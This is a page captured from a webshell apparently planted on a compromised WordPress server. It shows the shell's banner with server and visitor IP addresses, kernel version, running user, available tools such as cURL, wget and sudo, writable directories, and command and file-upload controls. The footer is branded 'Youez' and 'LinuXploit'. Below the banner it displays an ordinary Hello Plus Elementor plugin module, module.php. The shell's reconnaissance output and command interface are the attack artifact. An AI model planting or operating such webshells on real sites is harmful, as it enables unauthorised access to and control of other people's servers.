403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/hello-plus/modules/content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/hello-plus/modules/content/module.php
<?php

namespace HelloPlus\Modules\Content;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use Elementor\Controls_Manager;
use HelloPlus\Includes\Module_Base;
use HelloPlus\Includes\Utils;
use HelloPlus\Modules\Content\Classes\Control_Zig_Zag_Animation;
use HelloPlus\Modules\Content\Classes\Choose_Img_Control;

/**
 * class Module
 **/
class Module extends Module_Base {

	/**
	 * @inheritDoc
	 */
	public static function get_name(): string {
		return 'content';
	}

	/**
	 * @inheritDoc
	 */
	protected function get_component_ids(): array {
		return [];
	}

	/**
	 * @inheritDoc
	 */
	protected function get_widget_ids(): array {
		return [
			'Zig_Zag',
			'Hero',
			'CTA',
			'Flex_Hero',
			'Contact',
		];
	}

	/**
	 * @return void
	 */
	public function register_scripts() {
		wp_register_script(
			'helloplus-zigzag-fe',
			HELLOPLUS_SCRIPTS_URL . 'helloplus-zigzag-fe.js',
			[ 'elementor-frontend' ],
			HELLOPLUS_VERSION,
			true
		);
	}

	public function register_styles(): void {
		wp_register_style(
			'helloplus-zigzag',
			HELLOPLUS_STYLE_URL . 'helloplus-zigzag.css',
			[ 'elementor-frontend' ],
			HELLOPLUS_VERSION
		);

		wp_register_style(
			'helloplus-hero',
			HELLOPLUS_STYLE_URL . 'helloplus-hero.css',
			[ 'elementor-frontend' ],
			HELLOPLUS_VERSION
		);

		wp_register_style(
			'helloplus-cta',
			HELLOPLUS_STYLE_URL . 'helloplus-cta.css',
			[ 'elementor-frontend' ],
			HELLOPLUS_VERSION
		);

		wp_register_style(
			'helloplus-flex-hero',
			HELLOPLUS_STYLE_URL . 'helloplus-flex-hero.css',
			[ 'elementor-frontend' ],
			HELLOPLUS_VERSION
		);

		wp_register_style(
			'helloplus-contact',
			HELLOPLUS_STYLE_URL . 'helloplus-contact.css',
			[ 'elementor-frontend' ],
			HELLOPLUS_VERSION
		);
	}

	/**
	 * Load the Module only if Elementor is active.
	 *
	 * @return bool
	 */
	public static function is_active(): bool {
		return Utils::is_elementor_active();
	}

	public function register_controls( Controls_Manager $controls_manager ) {
		$controls_manager->register( new Control_Zig_Zag_Animation() );
		$controls_manager->register( new Choose_Img_Control() );
	}


	public function enqueue_editor_styles() {
		wp_enqueue_style(
			'helloplus-control-choose-img',
			HELLOPLUS_STYLE_URL . 'helloplus-control-choose-img.css',
			[],
			HELLOPLUS_VERSION
		);
	}

	public function enqueue_editor_scripts() {
		wp_enqueue_script(
			'helloplus-control-choose-img',
			HELLOPLUS_SCRIPTS_URL . 'helloplus-control-choose-img.js',
			[],
			HELLOPLUS_VERSION,
			true
		);
	}


	protected function register_hooks(): void {
		parent::register_hooks();
		add_action( 'elementor/frontend/after_register_scripts', [ $this, 'register_scripts' ] );
		add_action( 'elementor/frontend/after_register_styles', [ $this, 'register_styles' ] );
		add_action( 'elementor/controls/register', [ $this, 'register_controls' ] );
		add_action( 'elementor/editor/after_enqueue_styles', [ $this, 'enqueue_editor_styles' ] );
		add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'enqueue_editor_scripts' ] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit